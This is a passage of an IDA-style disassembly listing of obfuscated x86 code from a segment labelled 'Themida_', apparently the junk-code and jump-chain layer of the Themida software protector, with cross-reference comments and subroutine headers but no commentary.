loc_59B12E: ; CODE XREF: Themida_:005A0199j
mov esi, 7DB20F09h
jmp loc_595BA3
; ---------------------------------------------------------------------------
loc_59B138: ; CODE XREF: Themida_:0059B599j
pop ebx
mov bl, al
push dword ptr [esp]
pop eax
jmp loc_599AC3
; ---------------------------------------------------------------------------
loc_59B144: ; CODE XREF: Themida_:005A292Ej
sub edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_59A1E4
; ---------------------------------------------------------------------------
loc_59B152: ; CODE XREF: Themida_:0059101Cj
push ecx
mov ecx, 25554986h
inc ecx
neg ecx
sub ecx, 0B4EC7184h
mov edx, ecx
pop ecx
jmp loc_5A036F
; ---------------------------------------------------------------------------
loc_59B169: ; CODE XREF: Themida_:005A0509j
pop edx
jmp loc_592465
; ---------------------------------------------------------------------------
loc_59B16F: ; CODE XREF: Themida_:0059765Dj
mov ebp, esp
add ebp, 4
push eax
jmp loc_592F06
; ---------------------------------------------------------------------------
loc_59B17D: ; CODE XREF: Themida_:00598854j
add ebx, 4
sub ebx, 4
jmp loc_592A84
; ---------------------------------------------------------------------------
loc_59B18E: ; CODE XREF: Themida_:00594412j
push ebp
push 29F077F6h
pop ebp
sub edx, 277B067Ah
sub edx, 5DF156D7h
add edx, ebp
add edx, 5DF156D7h
add edx, 277B067Ah
pop ebp
jmp loc_59A8E4
; ---------------------------------------------------------------------------
loc_59B1B5: ; CODE XREF: Themida_:00599E47j
sub ecx, 45E879FBh
add ecx, ebx
add ecx, 45E879FBh
jmp loc_5A246D
; ---------------------------------------------------------------------------
loc_59B1C8: ; CODE XREF: Themida_:00592704j
dec ecx
neg ecx
and ecx, 3D9F3799h
sub ecx, 380AFFFCh
mov ebx, ecx
pop ecx
jmp loc_59F720
; ---------------------------------------------------------------------------
loc_59B1DF: ; CODE XREF: Themida_:00596D9Dj
pop bx
jmp loc_59DB3C
; ---------------------------------------------------------------------------
loc_59B1E6: ; CODE XREF: Themida_:00593357j
mov edx, [esp]
add esp, 4
pop ecx
sub esp, 2
mov [esp], cx
mov ch, 0C2h
add bl, ch
pop cx
push 3633h
jmp loc_59E2E8
; ---------------------------------------------------------------------------
loc_59B207: ; CODE XREF: Themida_:00591CF4j
sub esp, 4
mov [esp], eax
jmp loc_5971B2
; ---------------------------------------------------------------------------
loc_59B212: ; CODE XREF: Themida_:0058FDB4j
push eax
mov eax, 72F80778h
jmp loc_597698
; ---------------------------------------------------------------------------
loc_59B21D: ; CODE XREF: Themida_:0058EB04j
add ebp, 151319Eh
mov edi, [esp]
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
and eax, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
or eax, eax
jz loc_59A982
push dword ptr [edi+28h]
xor dword ptr [esp], 6C334CF2h
push dword ptr [esp]
jmp loc_59349D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_59B261: ; CODE XREF: sub_59DA2F+2C1Bj
xor ch, 2Fh
push cx
mov ch, 0E3h
jmp loc_5A0016
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59B26D: ; CODE XREF: Themida_:0059A1E7j
mov esp, [esp]
mov [esp], ecx
push dword ptr [esp+4]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_598C25
; ---------------------------------------------------------------------------
loc_59B298: ; CODE XREF: Themida_:00592A7Fj
add ebp, 62584D54h
push dword ptr [esp]
pop edx
add esp, 4
push ecx
mov ecx, 2
add ebp, ecx
pop ecx
xchg ebp, [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_594636
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59B2C7: ; CODE XREF: Themida_:005A22BFj
mov eax, 1B73511Eh
sub eax, 0AF060A4Bh
jmp loc_5948E3
; ---------------------------------------------------------------------------
loc_59B2D6: ; CODE XREF: Themida_:0059EF7Bj
mov edi, 102A6FF8h
dec edi
inc edi
shr edi, 3
xor edi, 5DBA074Ah
jmp loc_594B8E
; ---------------------------------------------------------------------------
loc_59B2EB: ; CODE XREF: Themida_:00598E5Aj
add ebp, 280F1DB3h
sub ebp, edx
jmp loc_59241E
; ---------------------------------------------------------------------------
loc_59B2F8: ; CODE XREF: Themida_:0059250Dj
push 1D3Dh
mov [esp], ebx
jmp loc_5957AC
; ---------------------------------------------------------------------------
loc_59B305: ; CODE XREF: Themida_:0059EA52j
xor dl, 0E0h
push eax
mov ah, dl
mov bl, ah
pop eax
jmp loc_599D47
; ---------------------------------------------------------------------------
loc_59B313: ; CODE XREF: Themida_:005932E7j
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 13CD2D82h
shr edx, 2
jmp loc_58F956
; ---------------------------------------------------------------------------
loc_59B329: ; CODE XREF: Themida_:0059CE5Cj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add ecx, 4
push 31B6h
mov [esp], ebx
mov ebx, 4
jmp loc_599D6E
; ---------------------------------------------------------------------------
loc_59B351: ; CODE XREF: Themida_:005998DFj
mov [esp], edx
mov edx, 4
sub dword ptr [esp+4], 1634CCAh
jmp loc_5900EE
; ---------------------------------------------------------------------------
loc_59B366: ; CODE XREF: Themida_:00593135j
push edi
mov edi, 332A02AAh
sub ecx, edi
jmp loc_59FA50
; ---------------------------------------------------------------------------
loc_59B373: ; CODE XREF: Themida_:0058EFEEj
push small word ptr [esp+2]
jmp loc_59DD61
; ---------------------------------------------------------------------------
loc_59B37D: ; CODE XREF: Themida_:0058F26Ej
push eax
mov eax, 92A07DAh
add ebp, 688E1699h
jmp loc_5A10EB
; ---------------------------------------------------------------------------
loc_59B38E: ; CODE XREF: Themida_:0059FC4Bj
pop esp
and eax, ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
shr eax, 8
xor eax, ecx
sub esp, 4
mov [esp], edx
push esp
pop edx
push ebp
push 62F10482h
mov ebp, [esp]
jmp loc_58F514
; ---------------------------------------------------------------------------
loc_59B3BE: ; CODE XREF: Themida_:0059D0DDj
mov esi, 0F1CDDB18h
add ebx, esi
pop esi
mov eax, ebx
jmp loc_5939B1
; ---------------------------------------------------------------------------
loc_59B3CD: ; CODE XREF: Themida_:0059C8DBj
pop eax
not ebp
inc ebp
jmp loc_5A1A5E
; ---------------------------------------------------------------------------
loc_59B3D6: ; CODE XREF: Themida_:0058E71Fj
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_597580
; ---------------------------------------------------------------------------
loc_59B3F9: ; CODE XREF: Themida_:0058E3D6j
and ebp, 228E1E35h
push esi
push ebp
jmp loc_593E4D
; ---------------------------------------------------------------------------
loc_59B406: ; CODE XREF: Themida_:00591844j
mov [esp], eax
mov eax, 2C9974B1h
inc eax
push esi
push ebx
push edx
mov edx, 52CD4127h
mov ebx, edx
pop edx
jmp loc_59A675
; ---------------------------------------------------------------------------
loc_59B41F: ; CODE XREF: Themida_:00592D3Cj
push edi
mov edi, 4FE9393Ah
xor edx, edi
mov edi, [esp]
jmp loc_590890
; ---------------------------------------------------------------------------
loc_59B42F: ; CODE XREF: Themida_:0059B57Aj
pop esp
mov [esp], ebx
not byte ptr [esp+1]
pop ebx
jmp loc_58E89D
; ---------------------------------------------------------------------------
loc_59B43D: ; CODE XREF: Themida_:005983C4j
mov edi, edx
jmp loc_599675
; ---------------------------------------------------------------------------
loc_59B444: ; CODE XREF: Themida_:0059D643j
sub [esp+4], ebp
pop ebp
add [esp], eax
add dword ptr [esp], 700E2851h
sub dword ptr [esp], 6A3C600Bh
add dword ptr [esp], 18BD58F4h
push esi
sub esp, 4
jmp loc_59B784
; ---------------------------------------------------------------------------
loc_59B46A: ; CODE XREF: Themida_:005977E8j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_58F908
; ---------------------------------------------------------------------------
loc_59B478: ; CODE XREF: Themida_:005945F9j
sub esp, 4
jmp loc_59604D
; ---------------------------------------------------------------------------
loc_59B480: ; CODE XREF: Themida_:0059D950j
xor ecx, 0C8158E4h
not ecx
shl ecx, 3
shr ecx, 1
push esi
mov esi, 0FFCC80E4h
sub ecx, esi
jmp loc_59DF48
; ---------------------------------------------------------------------------
loc_59B49A: ; CODE XREF: Themida_:00590F9Fj
or eax, 78D0838h
inc eax
jmp loc_593C50
; ---------------------------------------------------------------------------
loc_59B4A5: ; CODE XREF: Themida_:0058F3CCj
push esi
push 2
pop esi
add edx, esi
jmp loc_59CCD2
; ---------------------------------------------------------------------------
lodsb
jmp loc_5A0C70
; ---------------------------------------------------------------------------
loc_59B4B9: ; CODE XREF: Themida_:0059BF17j
mov ecx, 1BF9142Fh
sub esi, ecx
pop ecx
jmp loc_5A25E8
; ---------------------------------------------------------------------------
loc_59B4C6: ; CODE XREF: Themida_:00590C2Ej
pop edx
pop edi
push 4E2Dh
mov [esp], edx
jmp loc_592A0B
; ---------------------------------------------------------------------------
loc_59B4D5: ; CODE XREF: Themida_:005A32C1j
pop edx
jmp loc_59C7A4
; ---------------------------------------------------------------------------
loc_59B4DB: ; CODE XREF: Themida_:0059D546j
add esp, 4
sub eax, 4
push eax
push dword ptr [esp+4]
pop eax
jmp loc_593C02
; ---------------------------------------------------------------------------
loc_59B4EE: ; CODE XREF: Themida_:0059562Dj
mov [esp], ecx
mov ecx, esp
sub esp, 4
mov [esp], eax
sub esp, 4
jmp loc_58E8DF
; ---------------------------------------------------------------------------
loc_59B501: ; CODE XREF: Themida_:00597060j
pop eax
add eax, ebp
pop ebp
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59B51B: ; CODE XREF: Themida_:0059EE83j
sub ch, 0A6h
sub ch, 0C3h
add ch, bl
jmp loc_58E97F
; ---------------------------------------------------------------------------
loc_59B528: ; CODE XREF: Themida_:0059FEDFj
add bl, al
push small 7E11h
mov [esp], ax
mov ah, 0E8h
add bl, 54h
add bl, ah
sub bl, 54h
mov ax, [esp]
add esp, 2
push 76F9h
jmp loc_59E103
; ---------------------------------------------------------------------------
loc_59B550: ; CODE XREF: Themida_:00596200j
mov [esp], edx
jmp loc_592B3D
; ---------------------------------------------------------------------------
loc_59B558: ; CODE XREF: Themida_:005A0424j
add edi, 2
jmp loc_5985F4
; ---------------------------------------------------------------------------
loc_59B560: ; CODE XREF: Themida_:0059BE81j
mov edx, [esp]
add esp, 4
push edx
push esp
pop edx
add edx, 4
jmp loc_5A1EAF
; ---------------------------------------------------------------------------
loc_59B577: ; CODE XREF: Themida_:0059C9D2j
xchg ebp, [esp]
jmp loc_59B42F
; ---------------------------------------------------------------------------
loc_59B57F: ; CODE XREF: Themida_:00597268j
mov ecx, [esp]
add esp, 4
neg ecx
shr ecx, 3
jmp loc_59B04E
; ---------------------------------------------------------------------------
loc_59B592: ; CODE XREF: Themida_:005A29B3j
mov [esp], ebx
mov bh, 0E5h
mov al, bh
jmp loc_59B138
; ---------------------------------------------------------------------------
loc_59B59E: ; CODE XREF: Themida_:005A0143j
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push eax
mov ah, cl
sub esp, 4
mov [esp], edx
mov dl, ah
mov [edi+28h], dl
jmp loc_5949E1
; ---------------------------------------------------------------------------
loc_59B5BD: ; CODE XREF: Themida_:00593D7Fj
xor edx, 0B0122Eh
shr edx, 2
xchg eax, edx
not eax
xchg eax, edx
xor edx, 16B631DDh
jmp loc_59B9F5
; ---------------------------------------------------------------------------
loc_59B5D5: ; CODE XREF: Themida_:0059E981j
mov edx, 3722395Bh
sub edx, 1A4F6094h
jmp loc_58FA2E
; ---------------------------------------------------------------------------
loc_59B5E5: ; CODE XREF: Themida_:00597276j
push dword ptr [esp]
pop ebp
add esp, 4
add edi, 4
jmp loc_59A54E
; ---------------------------------------------------------------------------
loc_59B5F7: ; CODE XREF: Themida_:00599A53j
push ebx
not byte ptr [esp+1]
pop ebx
jmp loc_59C9A1
; ---------------------------------------------------------------------------
loc_59B602: ; CODE XREF: Themida_:005956D9j
mov esi, esp
jmp loc_599C4E
; ---------------------------------------------------------------------------
loc_59B609: ; CODE XREF: Themida_:00594DD2j
shl esi, 1
push 5A29h
jmp loc_592DFD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_59B615: ; CODE XREF: sub_59DA2F-E017j
neg al
sub al, 1
sub al, 0C6h
shl al, 2
xor al, 0A0h
jmp loc_5909F8
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59B625: ; CODE XREF: Themida_:00597BCCj
neg esi
jmp loc_59CCDE
; ---------------------------------------------------------------------------
loc_59B62C: ; CODE XREF: Themida_:005961B4j
mov edx, 6B6568B6h
add eax, edx
push dword ptr [esp]
jmp loc_593B56
; ---------------------------------------------------------------------------
loc_59B63B: ; CODE XREF: Themida_:0058F010j
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
add bl, al
sub esp, 4
jmp loc_5A1F41
; ---------------------------------------------------------------------------
loc_59B655: ; CODE XREF: Themida_:0059D763j
pop esi
push eax
mov eax, 61320DCAh
dec eax
not eax
jmp loc_5A308D
; ---------------------------------------------------------------------------
loc_59B664: ; CODE XREF: Themida_:00591D02j
mov edx, 461C7872h
jmp loc_5919E2
; ---------------------------------------------------------------------------
loc_59B66E: ; CODE XREF: Themida_:0059CFD0j
mov ebp, 0FBB72317h
jmp loc_5A2D45
; ---------------------------------------------------------------------------
loc_59B678: ; CODE XREF: Themida_:0058EF0Ej
xor edx, 35C9DE6h
add edi, edx
pop edx
add edi, 2
jmp loc_593D1D
; ---------------------------------------------------------------------------
loc_59B689: ; CODE XREF: Themida_:005A08E1j
pop ax
sub ch, dl
pop edx
push 4D02h
mov [esp], ecx
push ebx
mov bh, 90h
push dx
mov dh, 0C0h
xor bh, dh
pop dx
mov ch, bh
mov ebx, [esp]
jmp loc_5A177A
; ---------------------------------------------------------------------------
loc_59B6AB: ; CODE XREF: Themida_:005950FBj
push 7EAE0326h
pop ebx
jmp loc_599C99
; ---------------------------------------------------------------------------
lodsb
push ecx
mov cl, 0FAh
push eax
jmp loc_5988EA
; ---------------------------------------------------------------------------
loc_59B6C0: ; CODE XREF: Themida_:00599AC8j
mov ebx, [esp]
add esp, 4
add ah, 68h
add bl, ah
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_58F348
; ---------------------------------------------------------------------------
loc_59B6DF: ; CODE XREF: Themida_:0059357Cj
add esp, 4
push 61CAh
mov [esp], ebp
push esp
pop ebp
push edi
jmp loc_58F8E2
; ---------------------------------------------------------------------------
loc_59B6F5: ; CODE XREF: Themida_:0059CEC8j
inc ebx
and ebx, 0CE51ADBh
shr ebx, 8
push ecx
mov ecx, 215D0AD4h
xor ebx, ecx
pop ecx
add edx, ebx
pop ebx
jmp loc_59A379
; ---------------------------------------------------------------------------
loc_59B710: ; CODE XREF: Themida_:0058F867j
push edx
jmp loc_590EAB
; ---------------------------------------------------------------------------
loc_59B716: ; CODE XREF: Themida_:0059FA4Bj
not esi
sub esi, 0AB960877h
sub ecx, esi
jmp loc_593B7D
; ---------------------------------------------------------------------------
loc_59B725: ; CODE XREF: Themida_:00595137j
xor ebx, [esp]
jmp loc_5A0678
; ---------------------------------------------------------------------------
loc_59B72D: ; CODE XREF: Themida_:0059A563j
push esi
mov esi, 11C918CAh
sub edi, 99D0F40h
jmp loc_59E4FD
; ---------------------------------------------------------------------------
loc_59B73E: ; CODE XREF: Themida_:005984A9j
push dword ptr [esp]
mov ecx, [esp]
jmp loc_5A2C59
; ---------------------------------------------------------------------------
loc_59B749: ; CODE XREF: Themida_:00595564j
mov [esp], edx
push dword ptr [esp+4]
push dword ptr [esp]
pop edx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_59AD48
; ---------------------------------------------------------------------------
loc_59B768: ; CODE XREF: Themida_:00594E52j
add ah, 0ABh
xor ah, 2Bh
add ch, ah
pop ax
jmp loc_59140D
; ---------------------------------------------------------------------------
loc_59B777: ; CODE XREF: Themida_:005949EFj
mov ebp, esp
add ebp, 4
jmp loc_59355F
; ---------------------------------------------------------------------------
loc_59B784: ; CODE XREF: Themida_:0059B465j
mov [esp], ebp
push 2F250B7Ch
mov ebp, [esp]
add esp, 4
push eax
mov eax, 386377C6h
add ebp, eax
pop eax
shl ebp, 4
push 538Eh
mov [esp], eax
mov eax, 0F2870B96h
add ebp, eax
pop eax
mov esi, ebp
pop ebp
add [esp+4], esi
jmp loc_590A2D
; ---------------------------------------------------------------------------
loc_59B7BA: ; CODE XREF: Themida_:0059FE10j
add esp, 4
jmp loc_5A135D
; ---------------------------------------------------------------------------
loc_59B7C2: ; CODE XREF: Themida_:00591EB0j
mov ax, [esp]
push 2552h
mov [esp], ebp
jmp loc_596AD3
; ---------------------------------------------------------------------------
loc_59B7D3: ; CODE XREF: Themida_:00591705j
add esi, 2F103CE5h
jmp loc_59CE3B
; ---------------------------------------------------------------------------
loc_59B7DE: ; CODE XREF: Themida_:00592177j
xchg ebx, edx
pop ebx
dec edx
sub edx, 232160ADh
sub edx, 3D19B09Ch
add eax, 66FA42EDh
add eax, edx
sub eax, 66FA42EDh
pop edx
jmp loc_59C2B6
; ---------------------------------------------------------------------------
loc_59B800: ; CODE XREF: Themida_:0059C9B4j
mov edi, 54F44BDEh
or edi, 3E2C6077h
shr edi, 8
shr edi, 6
shl edi, 4
neg edi
xor edi, 0F29259ABh
sub eax, edi
pop edi
sub eax, 2F405EB5h
push 199h
mov [esp], ebp
mov ebp, 2B81480Ah
add eax, ebp
pop ebp
push esi
mov esi, 243E3392h
add eax, 4C6638CBh
add eax, esi
sub eax, 4C6638CBh
pop esi
mov ecx, [esp]
add esp, 4
jmp loc_596F99
; ---------------------------------------------------------------------------
loc_59B852: ; CODE XREF: Themida_:0059F5DEj
sub ecx, 312F1B25h
neg ecx
inc ecx
shl ecx, 5
neg ecx
push esi
mov esi, 59BF9FB9h
add ecx, esi
pop esi
jmp loc_597511
; =============== S U B R O U T I N E =======================================
sub_59B86E proc near ; CODE XREF: sub_59D30F-2318j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0058E816 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00592AF4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00598791 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AD56 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D20C SIZE 0000001A BYTES
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_592AF4
sub_59B86E endp
; ---------------------------------------------------------------------------
loc_59B879: ; CODE XREF: Themida_:005A0663j
pop eax
sub edx, ebp
pop ebp
sub edx, 4D8E2801h
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59B888: ; CODE XREF: Themida_:0059F838j
mov ebx, 4
add eax, ebx
jmp loc_59A55C
; ---------------------------------------------------------------------------
loc_59B894: ; CODE XREF: Themida_:0059599Aj
pop edx
jmp loc_58F795
; ---------------------------------------------------------------------------
loc_59B89A: ; CODE XREF: Themida_:00594B69j
push ecx
mov ecx, 4
add eax, ecx
pop ecx
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_599B4A
; ---------------------------------------------------------------------------
loc_59B8AF: ; CODE XREF: Themida_:0059A4EAj
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
ror dword ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59B8CA: ; CODE XREF: Themida_:0058F170j
sub edx, 70D379D5h
add edx, esi
add edx, 70D379D5h
mov esi, [esp]
add esp, 4
sub edx, 4
xor edx, [esp]
jmp loc_58EAB4
; ---------------------------------------------------------------------------
loc_59B8EC: ; CODE XREF: Themida_:0059820Dj
mov ecx, 468F34E3h
sub ecx, 2FB05028h
push edx
mov edx, 75D44FC2h
or edx, 67D6798h
shl edx, 3
jmp loc_590AF7
; ---------------------------------------------------------------------------
loc_59B90B: ; CODE XREF: Themida_:005945CEj
pop ebp
jmp loc_59CD3E
; ---------------------------------------------------------------------------
loc_59B911: ; CODE XREF: Themida_:0058FD39j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push 5CD4h
mov [esp], ecx
push 7DE0h
mov [esp], ebp
push 61C27C92h
jmp loc_59FDAA
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
push esp
pop ebp
add ebp, 4
sub esp, 4
mov [esp], edx
push 46B357B9h
mov edx, [esp]
add esp, 4
push ebx
mov ebx, 1
sub edx, ebx
mov ebx, [esp]
add esp, 4
push 0
sub [esp], edx
jmp loc_593CEE
; ---------------------------------------------------------------------------
loc_59B971: ; CODE XREF: Themida_:0059870Ej
mov esp, [esp]
imul ecx
push 3767h
jmp loc_59F673
; ---------------------------------------------------------------------------
loc_59B980: ; CODE XREF: Themida_:0059C71Fj
sub ebp, eax
pop eax
mov eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_5A28CE
; ---------------------------------------------------------------------------
loc_59B990: ; CODE XREF: Themida_:00591A3Cj
add dword ptr [esp+4], 26E52447h
add dword ptr [esp+4], 5DB23B3Fh
sub dword ptr [esp+4], 3A2D7B7Dh
add [esp+4], edx
add dword ptr [esp+4], 3A2D7B7Dh
jmp loc_58F07C
; ---------------------------------------------------------------------------
loc_59B9B9: ; CODE XREF: Themida_:005979F5j
mov esp, [esp]
mov [esp], esi
mov esi, 68A4227Fh
sub eax, esi
push dword ptr [esp]
mov esi, [esp]
jmp loc_5A106A
; ---------------------------------------------------------------------------
loc_59B9D1: ; CODE XREF: Themida_:005A0BF5j
push ecx
mov ecx, 76BB70D8h
xor ecx, 19A3384Ch
dec ecx
xor ecx, 6F184897h
jmp loc_58F532
; ---------------------------------------------------------------------------
loc_59B9E9: ; CODE XREF: Themida_:005A181Aj
pop ecx
add bh, 36h
add bh, 0ACh
jmp loc_595DF3
; ---------------------------------------------------------------------------
loc_59B9F5: ; CODE XREF: Themida_:0059B5D0j
xor edx, 0CE8DF393h
sub eax, edx
push dword ptr [esp]
mov edx, [esp]
jmp loc_5A0566
; ---------------------------------------------------------------------------
loc_59BA08: ; CODE XREF: Themida_:00596E10j
mov edx, esp
add edx, 4
push esi
push edx
jmp loc_59E978
; ---------------------------------------------------------------------------
loc_59BA17: ; CODE XREF: Themida_:00590EC5j
mov ecx, 4
add eax, ecx
pop ecx
push ebp
jmp loc_599D79
; ---------------------------------------------------------------------------
loc_59BA25: ; CODE XREF: Themida_:00595C09j
push dword ptr [esp]
jmp loc_59761B
; ---------------------------------------------------------------------------
loc_59BA2D: ; CODE XREF: Themida_:0059CB87j
push eax
push esp
push dword ptr [esp]
pop eax
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov ecx, 4
push ebp
push edx
sub esp, 4
mov [esp], edi
jmp loc_590C21
; ---------------------------------------------------------------------------
loc_59BA64: ; CODE XREF: Themida_:0059EEF5j
sub esp, 4
mov [esp], esi
mov esi, 0
mov eax, esi
jmp loc_5951E2
; ---------------------------------------------------------------------------
loc_59BA79: ; CODE XREF: Themida_:005970BCj
push 3DCD32B6h
pop esi
or esi, 7A355693h
or esi, 6D1D5296h
inc esi
xor esi, 14981E0Eh
mov ebp, esi
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, 60747550h
add ebp, 0E8D7A679h
sub eax, ebp
jmp loc_5A2D9C
; ---------------------------------------------------------------------------
loc_59BAB8: ; CODE XREF: Themida_:00594113j
and cl, 26h
shr cl, 5
add cl, 0ECh
inc cl
neg cl
dec cl
dec cl
push edx
mov dh, 6Fh
jmp loc_5A0D1C
; ---------------------------------------------------------------------------
loc_59BAD1: ; CODE XREF: Themida_:0059223Aj
xor ecx, 22052872h
jmp loc_59FDB2
; ---------------------------------------------------------------------------
lodsd
add eax, 3AAD1BF1h
add eax, ebx
push edi
mov edi, 3AAD1BF1h
push esi
mov esi, 9D754F3h
sub eax, esi
pop esi
push edx
mov edx, 7D6A6B6Eh
jmp loc_5A243D
; ---------------------------------------------------------------------------
loc_59BAFE: ; CODE XREF: Themida_:005995A4j
sub ebp, 1F9E19B4h
jmp loc_59A51C
; ---------------------------------------------------------------------------
loc_59BB09: ; CODE XREF: Themida_:0059141Aj
add esp, 4
push eax
mov eax, 51090FBCh
dec eax
add eax, 0C387120h
and eax, 2198642Bh
push ebp
jmp loc_59862A
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A0B6A
; ---------------------------------------------------------------------------
loc_59BB2C: ; CODE XREF: Themida_:00595D2Aj
push dword ptr [esp]
pop ecx
push esi
push esp
jmp loc_58FA84
; ---------------------------------------------------------------------------
loc_59BB37: ; CODE XREF: Themida_:0058ED1Cj
push 63A8h
mov [esp], edx
mov dl, 67h
sub dl, 49h
shl dl, 5
jmp loc_5A0AE2
; ---------------------------------------------------------------------------
loc_59BB4C: ; CODE XREF: Themida_:00592758j
pop esp
mov [esp], ebp
jmp loc_597C25
; ---------------------------------------------------------------------------
loc_59BB55: ; CODE XREF: Themida_:0059D582j
xor bh, ah
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_58F77F
; ---------------------------------------------------------------------------
loc_59BB6B: ; CODE XREF: Themida_:00595F68j
mov eax, 14486B86h
neg eax
xor eax, 0AF98C601h
or ebx, eax
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
jmp loc_59C853
; ---------------------------------------------------------------------------
loc_59BB90: ; CODE XREF: Themida_:00591BE5j
mov edx, [esp]
add esp, 4
push 5359h
mov [esp], ecx
mov ecx, 6D682484h
jmp loc_5A2E6D
; ---------------------------------------------------------------------------
loc_59BBA8: ; CODE XREF: Themida_:0059B06Bj
pop esi
jmp loc_596321
; ---------------------------------------------------------------------------
loc_59BBAE: ; CODE XREF: Themida_:0058EA68j
mov ebp, 8A4B650h
add ebp, ecx
mov ecx, [esp]
jmp loc_59E622
; ---------------------------------------------------------------------------
loc_59BBBD: ; CODE XREF: Themida_:005A132Cj
push ebp
push 15AFh
mov [esp], ebx
jmp loc_58EF6D
; ---------------------------------------------------------------------------
loc_59BBCB: ; CODE XREF: Themida_:00596A72j
mov ebx, 0A5A70F58h
add edi, ebx
pop ebx
mov ebx, edi
pop edi
add edi, ebx
pop ebx
jmp loc_590C81
; ---------------------------------------------------------------------------
loc_59BBDE: ; CODE XREF: Themida_:005A1C8Bj
mov esp, [esp]
mov [esp], ecx
mov ecx, 773D51B1h
push edx
jmp loc_59028F
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebp
jmp loc_59DC33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_59BBFA: ; CODE XREF: sub_59233E+F7D9j
sub edx, 66822774h
sub edx, 419D1FF8h
jmp loc_596EB1
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_59BC0B: ; CODE XREF: Themida_:0059CCD9j
push edi
mov edi, esp
jmp loc_5909A7
; ---------------------------------------------------------------------------
loc_59BC13: ; CODE XREF: Themida_:005A17A6j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59BC18: ; CODE XREF: Themida_:005A1EE8j
push bx
push small word ptr [esp+2]
pop bx
jmp loc_58EA21
; ---------------------------------------------------------------------------
loc_59BC26: ; CODE XREF: Themida_:00596502j
xchg esi, ebx
jmp loc_596A3C
; ---------------------------------------------------------------------------
loc_59BC2D: ; CODE XREF: Themida_:0059A773j
push eax
mov eax, 6B0F3FB6h
add dword ptr [esp+4], 3DF847E4h
sub [esp+4], eax
jmp loc_59A7A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_59BC44: ; CODE XREF: sub_5A1999-DDA4j
add eax, edx
push ebx
mov ebx, 50066E28h
sub ebx, 451C6318h
jmp loc_5A1F4D
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_59BC57: ; CODE XREF: Themida_:005973B6j
add esp, 4
add edi, 61470CBEh
add edi, ecx
sub edi, 61470CBEh
add edi, 661A5806h
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
push ebx
mov ebx, 2
jmp loc_58F597
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F235
loc_59BC8B: ; CODE XREF: sub_59F235-58E3j
sub ebp, 41274426h
pop eax
xor ebp, [esp+4+var_4]
jmp loc_596A05
; END OF FUNCTION CHUNK FOR sub_59F235
; ---------------------------------------------------------------------------
loc_59BC9A: ; CODE XREF: Themida_:0059C375j
push 2BE42D67h
pop edi
not edi
xor edi, 0D41BD299h
mov ecx, edi
jmp loc_590158
; ---------------------------------------------------------------------------
loc_59BCAF: ; CODE XREF: Themida_:00594CBBj
sub eax, 28307AA5h
add eax, edx
add eax, 28307AA5h
pop edx
add eax, ecx
jmp loc_5991F3
; ---------------------------------------------------------------------------
loc_59BCC3: ; CODE XREF: Themida_:005905CDj
pop esi
add ebp, edi
jmp loc_592709
; ---------------------------------------------------------------------------
loc_59BCCB: ; CODE XREF: Themida_:0059A304j
pop ebp
